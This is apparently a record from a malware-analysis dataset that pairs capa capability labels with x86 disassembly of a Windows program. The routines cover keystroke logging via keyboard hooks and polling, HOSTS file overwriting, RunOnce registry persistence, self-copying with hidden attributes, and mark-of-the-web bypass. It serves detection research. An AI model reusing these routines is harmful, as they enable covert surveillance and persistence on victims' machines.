joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404a35
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x18]
xor ebx, ebx
push edi
test esi, esi
je 0x404a4f
mov eax, dword [ebp + 0x14]
mov ecx, esi
mov byte [eax], bl
inc eax
dec ecx
jne 0x404a49
push dword [ebp + 0x1c]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00404a0c
mov edi, eax
add esp, 0xc
test edi, edi
je 0x404a8c
lea eax, [ebp + 0x18]
mov dword [ebp + 0x18], esi
push eax
push dword [ebp + 0x14]
push ebx
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a83
xor ebx, ebx
inc ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404a91
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x4e
pop edx
push 0x65
pop eax
push 0x74
pop ebx
push 0x41
mov word [ebp - 0x26], ax
pop eax
push 0x50
mov esi, dword [ebp + 8]
mov word [ebp - 0x22], ax
pop eax
push 0x49
pop ecx
push 0x33
mov word [ebp - 0x20], ax
pop eax
push 0x32
mov word [ebp - 0x1c], ax
pop eax
mov word [ebp - 0x1a], ax
xor eax, eax
push 0x65
mov word [ebp - 0x18], ax
pop eax
mov byte [ebp - 0x13], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
lea eax, [ebp - 0x30]
push eax
push esi
mov word [ebp - 0x28], dx
mov word [ebp - 0x24], bx
mov word [ebp - 0x1e], cx
mov byte [ebp - 0x14], dl
mov byte [ebp - 0x12], bl
mov word [ebp - 0x11], 0x7355
mov word [ebp - 0xe], 0x4772
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], cl
mov dword [ebp - 9], 0x6f666e
mov dword [ebp - 0x30], 0x40
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x404b55
lea ecx, [ebp - 0x2c]
push ecx
push 1
push esi
push 0
call eax
test eax, eax
jne 0x404b55
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0xc]
mov dword [esi + 0x104], eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x404b65
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp + 0xc]
xor ecx, ecx
cmp word [ebp - 0x24], cx
setne cl
mov dword [eax], ecx
mov esp, ebp
pop ebp
ret
Function at 0x404d70
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
push str.a_ccsUTF_16LE
push eax
call fcn.00465780
push esi
mov edi, eax
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.004654a3
lea ecx, [ebp - 0x204]
add esp, 0x14
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404db6
sub ecx, edx
lea eax, [ebp - 0x204]
sar ecx, 1
push edi
push ecx
push 2
push eax
mov dword [0x4b61f4], ecx
call fcn.004656fe
push edi
call fcn.00464a02
mov ecx, dword [ebp - 4]
add esp, 0x14
xor ecx, ebp
pop edi
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x405036
Capabilities:
Create thread

Disassembly:
push 0x24
mov eax, 0x4812e9
call fcn.00462fb8
mov esi, ecx
push dword [ebp + 0xc]
lea ecx, [ebp - 0x30]
call fcn.0045c6d3
xor ebx, ebx
push ebx
push 0x4b3bb0
push 0x4b3b98
push ebx
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.00466c69
add esp, 0x14
lea ecx, [ebp - 0x30]
mov edi, eax
lea eax, [ebp - 0x24]
push eax
call fcn.0045c75b
mov ecx, dword [ebp - 0x24]
dec ecx
dec ecx
je 0x405209
dec ecx
je 0x4051dd
dec ecx
je 0x4051a2
dec ecx
je 0x40516d
dec ecx
je 0x4050c2
dec ecx
je 0x4050b8
dec ecx
jne 0x405273
push 0x4b6210
lea ecx, [ebp - 0x30]
call fcn.0045c75b
jmp 0x405273
call fcn.00405b32
jmp 0x405273
push 0x4b99dc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x4b6200
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push 0x4b6204
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push 0x4b6208
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push 0x4b620c
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push 0x4b6210
lea ecx, [ebp - 0x30]
call fcn.0045c75b
mov eax, dword [0x4b6224]
test eax, eax
je 0x405124
push eax
call fcn.0040e9f1
pop ecx
mov dword [0x4b6224], ebx
cmp dword [0x4b621c], ebx
jne 0x40515d
push 1
call fcn.0046273d
mov dword [esp], 0x4b61fc
push ebx
push edi
push 0x405294
push ebx
mov dword [0x4b621c], eax
push ebx
mov byte [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
mov dword [0x4b62ac], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4b99dc
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x405273
lea eax, [ebp - 0xd]
mov byte [ebp - 0xd], bl
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c745
xor eax, eax
cmp byte [ebp - 0xd], 1
sete al
mov dword [0x4b9a98], eax
test eax, eax
je 0x405198
call fcn.0045ce86
jmp 0x405273
call fcn.0045d865
jmp 0x405273
lea ecx, [ebp - 0x20]
call fcn.0045c6ec
push 4
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.0045c7e9
lea eax, [ebp - 0x20]
push eax
call fcn.0045d076
pop ecx
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
call fcn.00403510
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.0045c702
jmp 0x405273
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
cmp dword [ebp - 0x1c], ebx
sete al
movzx eax, al
push eax
push dword [ebp - 0x18]
call fcn.0045d81a
jmp 0x40523d
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
lea ecx, [ebp - 0x30]
cmp dword [ebp - 0x1c], ebx
jne 0x405241
lea eax, [ebp - 0x18]
push eax
call fcn.0045c75b
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.0045d7f8
pop ecx
pop ecx
jmp 0x405273
lea eax, [ebp - 0x1c]
push eax
call fcn.0045c75b
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x30]
call fcn.0045c75b
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call fcn.0045ceda
add esp, 0xc
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.00403477
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0045c6f6
call fcn.00462f86
ret 8
Function at 0x406687
Capabilities:
Get common file path
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push 0x330
mov eax, 0x4813f0
call fcn.00462feb
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x32c]
mov esi, dword [ebp + 8]
xor edi, edi
push eax
mov ecx, ebx
mov dword [ebp - 0x334], esi
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], edi
call fcn.0045c75b
mov eax, dword [ebp - 0x32c]
sub eax, edi
je 0x406796
dec eax
je 0x4066e3
dec eax
jne 0x40687c
test esi, esi
je 0x406883
jmp 0x40687c
lea eax, [ebp - 0x320]
mov ecx, ebx
push eax
call fcn.0045c75b
mov esi, edi
cmp dword [ebp - 0x320], esi
jle 0x406714
lea eax, [ebp - 0x31c]
mov ecx, ebx
add eax, esi
push eax
call fcn.0045c745
inc esi
cmp esi, dword [ebp - 0x320]
jl 0x4066fb
push 0x104
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.driversetcHOSTS
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov esi, 0x80
lea eax, [ebp - 0x114]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push esi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406883
push edi
lea eax, [ebp - 0x338]
push eax
push dword [ebp - 0x320]
lea eax, [ebp - 0x31c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40687c
push 0x104
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.driversetcHOSTS
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push edi
push 3
push edi
push 1
push SysReAllocString
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.00461d70
pop ecx
push 0
mov esi, eax
lea eax, [ebp - 0x33c]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [ebp - 0x328]
call fcn.0045c6ec
and dword [ebp - 4], 0
lea ecx, [ebp - 0x328]
push 0x13
call fcn.0045c7e9
push 0
lea ecx, [ebp - 0x328]
call fcn.0045c7e9
push edi
lea ecx, [ebp - 0x328]
call fcn.0045c7e9
push edi
push esi
lea ecx, [ebp - 0x328]
call fcn.0045c86b
mov ecx, dword [ebp - 0x334]
lea eax, [ebp - 0x328]
push eax
call fcn.00403510
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.0045c702
mov ebx, dword [ebp - 0x330]
mov ecx, ebx
call fcn.0045c6f6
call fcn.00462f9a
ret

Function at 0x4069e5
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0
push 0x406889
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b62fc], eax
ret
Function at 0x406ae1
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x1fe
mov esi, 0x4b6520
mov dword [0x4b6500], eax
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, 0x4b6720
mov cx, word [eax]
cmp cx, word [esi]
jne 0x406b3c
test cx, cx
je 0x406b38
mov cx, word [eax + 2]
cmp cx, word [esi + 2]
jne 0x406b3c
add eax, 4
add esi, 4
test cx, cx
jne 0x406b16
xor eax, eax
jmp 0x406b41
sbb eax, eax
or eax, 1
test eax, eax
je 0x406b4a
call fcn.004069fc
xor ecx, ecx
movzx eax, word [ecx + 0x4b6520]
lea ecx, [ecx + 2]
mov word [ecx + 0x4b671e], ax
test ax, ax
jne 0x406b4c
lea eax, [ebp - 0x28]
push eax
push dword [0x4b6500]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x100
mov esi, eax
call fcn.004645fc
pop ecx
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 7
pop ecx
mov edx, eax
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push edx
push 0
push 0x10
stosw word es:[edi], ax
lea eax, [ebp - 0x24]
push eax
movsx ecx, cx
push ebx
push ecx
push ecx
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp byte [ebp + 0xc], 1
lea eax, [ebp - 0x24]
pop edi
pop esi
pop ebx
push dword [0x4b62f8]
push eax
jne 0x406bd3
call dword [sym.imp.USER32.dll_CharUpperW]
push eax
call fcn.00406c3c
pop ecx
pop ecx
push 0
call fcn.0040e9f1
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x406cc2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406cd7
xor eax, eax
pop ebp
ret
and eax, 0x10
pop ebp
ret

Function at 0x406cdc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x202
call fcn.00461d70
mov esi, eax
mov dword [esp], 0x200
xor eax, eax
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.004653c0
mov edi, 0x101
push edi
push 0
push esi
call fcn.004653c0
add esp, 0x18
lea eax, [ebp - 0x208]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
test eax, eax
jne 0x406d48
call fcn.0040e9f1
pop ecx
xor eax, eax
jmp 0x406d65
push 0
push 0x483a04
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x406d63
push esi
jmp 0x406d3e
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret
Function at 0x406e30
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x224
mov eax, 0x481469
call fcn.00462feb
push 0x208
call fcn.00461d70
mov edi, eax
mov dword [ebp - 0x21c], 7
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x220], ebx
mov word [ebp - 0x230], ax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
mov dword [esp], 0x206
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004653c0
push 0x104
push ebx
push edi
call fcn.004653c0
add esp, 0x18
lea eax, [ebp - 0x218]
push eax
push 1
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push eax
call fcn.00403068
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov esi, 0x483d38
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
push dword [0x4b9b30]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x406f22
mov esi, dword [0x4b9b30]
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov esi, 0x483d38
push esi
call fcn.00403068
pop ecx
push eax
push esi
lea ecx, [ebp - 0x230]
call fcn.00402c50
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x230]
mov eax, dword [ebp - 0x220]
cmovae ecx, dword [ebp - 0x230]
add eax, eax
push eax
push ecx
push edi
call fcn.00463680
add esp, 0xc
lea ecx, [ebp - 0x230]
push ebx
push 1
call fcn.00402b64
mov eax, edi
call fcn.00462f9a
ret
Function at 0x406f61
Capabilities:
Bypass mark of the web
Copy file
Create directory
Delete file
Persist via run registry key
Set file attributes
Set registry value

Disassembly:
push 0x230
mov eax, 0x4812b1
call fcn.00462feb
call fcn.00406e30
mov esi, eax
mov dword [ebp - 0x238], esi
call fcn.00406d96
mov ebx, eax
lea eax, [ebp - 0x234]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
mov dword [ebp - 0x23c], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
xor edi, edi
test eax, eax
js 0x406fd3
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push ebx
push 1
push edi
push dword [0x4b9b38]
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x234]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push eax
call fcn.004653c0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call fcn.00406cc2
pop ecx
test eax, eax
jne 0x407017
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
push ebx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
xor eax, eax
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], edi
mov word [ebp - 0x230], ax
push ebx
mov dword [ebp - 4], edi
call fcn.00403068
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x230]
call fcn.00402c50
mov edi, str.:Zone.Identifier
push edi
call fcn.00403068
pop ecx
push eax
push edi
lea ecx, [ebp - 0x230]
call fcn.00402c50
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp byte [0x4b9b3c], 0
je 0x4070cb
call fcn.00406e30
mov edi, eax
call fcn.00406d96
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, eax
push 2
push edi
call esi
push 2
push ebx
call esi
push edi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
mov ebx, dword [ebp - 0x23c]
mov esi, dword [ebp - 0x238]
pop ecx
pop ecx
push esi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
pop ecx
pop ecx
push 0
push 1
lea ecx, [ebp - 0x230]
call fcn.00402b64
call fcn.00462f9a
ret
Function at 0x407123
Capabilities:
Delete directory
Delete file
Delete registry value
Move file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x4b051c], 0
je 0x4071f5
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea eax, [ebp - 4]
push esi
push edi
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
js 0x40716d
push dword [0x4b9b38]
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push SysReAllocString
call ebx
test eax, eax
js 0x40718b
push str._DefaultEx
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
call fcn.00406d96
mov ebx, eax
call fcn.00406cdc
mov esi, eax
call fcn.00406e30
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x4b9b30], 0x483a04
je 0x4071d2
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push esi
call fcn.0040e9f1
push ebx
call fcn.0040e9f1
push edi
call fcn.0040e9f1
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4075fe
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x1a
lea eax, [ebp - 0x20c]
push 0x483a70
push eax
call fcn.004618cc
lea eax, [ebp - 0x20c]
push eax
call fcn.00406cc2
add esp, 0x10
test eax, eax
jne 0x407645
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
mov esi, 0x4b6928
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404df4
lea eax, [ebp - 0x20c]
push eax
call fcn.00461972
push esi
call fcn.00461972
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x40767c
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0
push 0x407464
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x4b7350], eax
ret
Function at 0x440504
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push 0
push 0x14
and dword [ebx], 0
call fcn.0043785f
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x440525
push 7
pop eax
jmp 0x440580
cmp dword [0x49a204], 0
push edi
je 0x440558
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esi + 8], eax
lea eax, [esi + 4]
push eax
xor eax, eax
mov dword [esi + 0xc], edi
push eax
push esi
push 0x4405db
push eax
push eax
call fcn.004687f9
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x440564
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp + 0x10]
cmp dword [esi + 8], 0
jne 0x44057b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
mov dword [esi + 4], eax
call dword [ebp + 0xc]
pop ecx
mov dword [esi + 0x10], eax
mov dword [ebx], esi
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x459b4d
Capabilities:
Get graphical window text

Disassembly:
push esi
push edi
push 0x1fe
call fcn.00461d70
mov edi, 0xff
mov esi, eax
push edi
push 0
push esi
call fcn.004653c0
add esp, 0x10
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
jne 0x459b81
push esi
call fcn.0040e9f1
pop ecx
xor eax, eax
jmp 0x459b90
push edi
push esi
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x459b76
mov eax, esi
pop edi
pop esi
ret

Function at 0x459b93
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x4b26f0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 0x206
mov word [ebp - 0x20c], ax
xor edi, edi
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.004653c0
push 0x40
lea eax, [ebp - 0x25c]
xorps xmm0, xmm0
push edi
push eax
movdqu xmmword [ebp - 0x21c], xmm0
call fcn.004653c0
add esp, 0x18
mov dword [ebp - 0x260], 0x44
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test edi, edi
je 0x459c3f
push dword [ebp - 0x21c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x218]
call esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.00462f14
mov esp, ebp
pop ebp
ret

Function at 0x459c7b
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x481906
call fcn.00462feb
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x459d72
cmp byte [ebx + 0x45], 0
je 0x459d72
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x459cb0
xor al, al
jmp 0x459d74
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.00408f12
and dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x459d0a
dec eax
je 0x459d0e
dec eax
dec eax
je 0x459d60
xor bl, bl
jmp 0x459d62
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x459d46
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.004656fe
add esp, 0x10
cmp esi, eax
jne 0x459d06
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x45], 0
je 0x459d60
test esi, esi
jne 0x459cd4
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.0045a02c
jmp 0x459cce
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00401334
mov al, bl
jmp 0x459d74
mov al, 1
call fcn.00462f9a
ret